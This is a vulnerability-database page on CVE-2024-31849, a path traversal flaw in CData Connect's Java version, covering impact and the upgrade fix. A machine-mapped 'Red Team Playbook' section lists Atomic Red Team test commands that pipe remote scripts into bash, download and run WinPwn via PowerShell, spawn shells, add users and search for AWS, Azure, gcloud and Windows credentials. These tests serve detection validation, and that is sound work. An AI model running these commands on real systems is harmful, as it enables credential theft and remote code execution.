CVE-2024-31849
Overview
This vulnerability is a path traversal flaw (CWE-22) in the Java implementation of CData Connect versions prior to 23.4.8846. It arises from insufficient validation of file path inputs when the embedded Jetty server is used, allowing unauthorized access to restricted file system locations. The affected component is the embedded Jetty server handling HTTP requests within the application.
Vulnerability Description
A path traversal vulnerability exists in the Java version of CData Connect < 23.4.8846 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
Impact
An unauthenticated remote attacker can exploit this path traversal vulnerability to gain complete administrative control over the CData Connect application. This includes the ability to read, modify, or delete sensitive configuration and data files, potentially leading to data breaches or service compromise. The attack requires only network access to the embedded Jetty server, with no user interaction or credentials needed, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users should upgrade CData Connect to version 23.4.8846 or later, as detailed in the Tenable advisory (https://www.tenable.com/security/research/tra-2024-09). This update addresses the path traversal vulnerability by implementing proper input validation in the embedded Jetty server. No alternative workarounds are specified; applying the vendor-provided patch is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical path traversal vulnerability has been identified in the Java version of CData Connect when operating with the embedded Jetty server. This flaw allows an unauthenticated remote attacker to manipulate file paths, potentially gaining unauthorized access to sensitive files and directories on the server. The underlying issue arises from improper validation of user-supplied input, which can be exploited to traverse the file system beyond the intended directory. As a result, an attacker can craft specific requests that leverage this vulnerability to access administrative interfaces or sensitive configuration files, ultimately leading to complete administrative control over the application.
The attack vectors associated with this vulnerability are particularly concerning due to their simplicity and the potential for widespread exploitation. An attacker could initiate a series of crafted HTTP requests targeting the vulnerable server, utilizing path traversal sequences (such as "../") to navigate the file system. This exploitation does not require authentication, making it accessible to any remote actor with knowledge of the vulnerability. Once inside, the attacker could execute arbitrary commands, manipulate data, or deploy additional malware, significantly compromising the integrity and confidentiality of the application and its underlying infrastructure.
The real-world implications of this vulnerability are severe, particularly for organizations relying on CData Connect for data integration and management. The potential for unauthorized administrative access means that attackers could not only exfiltrate sensitive data but also alter or delete critical information, leading to data integrity issues. The business risks associated with such a breach include financial losses, reputational damage, and potential legal ramifications stemming from data protection regulations. Organizations may face significant downtime and recovery costs, as well as the loss of customer trust, which can have long-lasting effects on their operations and market position.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted security strategy. Regularly updating the software to the latest version is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests that attempt to exploit path traversal vulnerabilities. Monitoring logs for unusual access patterns or unauthorized attempts to access sensitive files can also provide early warning signs of an attempted breach. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.
In conclusion, the path traversal vulnerability in CData Connect poses a significant threat to organizations utilizing this software. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and security of their data management processes. As the threat landscape continues to evolve, maintaining vigilance and implementing robust security measures will be essential in protecting against unauthorized access and data breaches.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-31849 |
| tenable.com |
GitHub CVE
|
https://www.tenable.com/security/research/tra-2024-09 |